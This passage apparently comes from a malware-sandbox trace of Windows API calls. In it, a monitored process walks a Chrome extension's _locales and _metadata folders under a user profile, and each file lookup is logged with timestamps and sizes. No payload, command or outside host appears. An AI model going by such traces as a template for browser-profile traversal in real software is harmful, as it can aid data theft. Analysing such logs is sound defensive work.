	[0066.330] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12653e58 | out: lpFileInformation=0x12653e58*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd)) returned 1
	[0066.330] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk"), fInfoLevelId=0x0, lpFileInformation=0x12653ea8 | out: lpFileInformation=0x12653ea8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.330] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.330] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.330] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.330] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.330] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.330] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.331] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x12653f48 | out: lpFileInformation=0x12653f48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10e)) returned 1
	[0066.331] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi"), fInfoLevelId=0x0, lpFileInformation=0x12653f98 | out: lpFileInformation=0x12653f98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.331] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.332] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.332] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.332] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.332] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.332] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.332] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x127da058 | out: lpFileInformation=0x127da058*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xed)) returned 1
	[0066.332] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn"), fInfoLevelId=0x0, lpFileInformation=0x127da0a8 | out: lpFileInformation=0x127da0a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.332] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.332] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.332] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b274d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b274d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.332] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.333] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.333] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.333] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x127da148 | out: lpFileInformation=0x127da148*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b274d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b28c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7)) returned 1
	[0066.333] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw"), fInfoLevelId=0x0, lpFileInformation=0x127da198 | out: lpFileInformation=0x127da198*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.334] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x12415594 | out: lpFindFileData=0x12415594*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.334] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.334] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
	[0066.334] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124155b4 | out: lpFindFileData=0x124155b4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.335] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.335] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), fInfoLevelId=0x0, lpFileInformation=0x127da238 | out: lpFileInformation=0x127da238*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1)) returned 1
	[0066.335] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata"), fInfoLevelId=0x0, lpFileInformation=0x127da288 | out: lpFileInformation=0x127da288*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.336] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.336] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*", lpFindFileData=0x124155f8 | out: lpFindFileData=0x124155f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.336] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.336] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85d166b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x160, dwReserved0=0x0, dwReserved1=0x0, cFileName="computed_hashes.json", cAlternateFileName="COMPUT~1.JSO")) returned 1
	[0066.336] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2b56, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1
	[0066.336] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.336] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.336] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), fInfoLevelId=0x0, lpFileInformation=0x127da378 | out: lpFileInformation=0x127da378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85d166b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1
	[0066.336] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\verified_contents.json"), fInfoLevelId=0x0, lpFileInformation=0x127da3c8 | out: lpFileInformation=0x127da3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x2b56)) returned 1
